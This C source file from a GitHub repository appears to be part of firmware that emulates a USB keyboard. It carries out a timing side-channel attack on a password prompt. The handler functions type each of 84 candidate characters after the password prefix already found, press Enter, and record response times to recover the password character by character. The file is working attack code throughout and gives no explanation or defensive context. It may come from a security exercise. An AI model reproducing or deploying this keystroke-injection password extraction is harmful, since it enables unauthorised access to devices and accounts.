Hide-Password/Handlers.c at main · marslan6/Hide-Password · GitHub

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
#include "Handlers.h"
#include "german_keyboardCodes.h"
#include <string.h>

// External declarations for variables defined in main.c
extern volatile uint32_t system_ticks;
extern uint32_t characterResponseTimes[84];
extern char discoveredPasswordBuffer[20];
extern uint8_t awaitingKeyRelease;
extern uint8_t testingCharacterIndex;
extern uint8_t passwordOutputPosition;
extern uint8_t extractedPasswordLength;
extern bool capsLockPhaseFinished;
extern bool shouldSendEnterKey;
extern bool readyForNextCharacter;
extern uint8_t nameCharPosition;
extern bool nameKeyReleased;
extern const char nameString[];

// Include function declarations
#include "ReportUtils.h"
#include "CharCodeGerman.h"

void HandleCharacterRelease(USB_KeyboardReport_Data_t* report)
{
	ClearReport(report);
	awaitingKeyRelease = 0;

	if (!shouldSendEnterKey)
	{
		++testingCharacterIndex;
		readyForNextCharacter = false;
	}
}

void HandleEnterKeyPress(USB_KeyboardReport_Data_t* report)
{
	SendEnterKey(report);
	shouldSendEnterKey = false;
	characterResponseTimes[testingCharacterIndex] = system_ticks;
	system_ticks = 0;
	awaitingKeyRelease = 1;
}

void HandlePasswordCharSend(USB_KeyboardReport_Data_t* report, bool* isReleased)
{
	if (*isReleased)
	{
		report->Modifier = 0;
		if (passwordOutputPosition == extractedPasswordLength)
		{
			SendCharacter(testingCharacterIndex, report);
			passwordOutputPosition = 0;
			shouldSendEnterKey = true;
			*isReleased = false;
		}
		else
		{
			SendCharacter(discoveredPasswordBuffer[passwordOutputPosition++], report);
			*isReleased = false;
		}
	}
	else
	{
		ClearReport(report);
		*isReleased = true;
	}
}

void HandlePasswordInput(USB_KeyboardReport_Data_t* report, bool* isReleased)
{
	if (testingCharacterIndex < 84 && readyForNextCharacter)
	{
		if (awaitingKeyRelease)
		{
			HandleCharacterRelease(report);
		}
		else if (shouldSendEnterKey)
		{
			HandleEnterKeyPress(report);
		}
		else
		{
			HandlePasswordCharSend(report, isReleased);
		}
	}
	else
	{
		ClearReport(report);
		awaitingKeyRelease = 0;
	}
}

void HandleCapsLockToggle(USB_KeyboardReport_Data_t* report, bool* capsLockPressed)
{
	if (*capsLockPressed)
	{
		ClearReport(report);
		awaitingKeyRelease = 0;
		capsLockPhaseFinished = true;
	}
	else
	{
		report->Modifier = 0;
		report->Reserved = 0;
		report->KeyCode[0] = HID_KEYBOARD_SC_CAPS_LOCK;
		*capsLockPressed = true;
		for (int i = 0; i < 10e5; ++i)
			;
	}
}

void HandleNameOutput(USB_KeyboardReport_Data_t* report)
{
	size_t nameLength = strlen(nameString);

	if (nameCharPosition < nameLength)
	{
		if (nameKeyReleased)
		{
			report->KeyCode[0] = GetCharCodeInGerman(nameString[nameCharPosition], &report->Modifier);
			nameKeyReleased = false;
		}
		else
		{
			ClearReport(report);
			nameKeyReleased = true;
			nameCharPosition++;
		}
	}
	else if (nameCharPosition == nameLength)
	{
		SendEnterKey(report);
		nameCharPosition++;
	}
}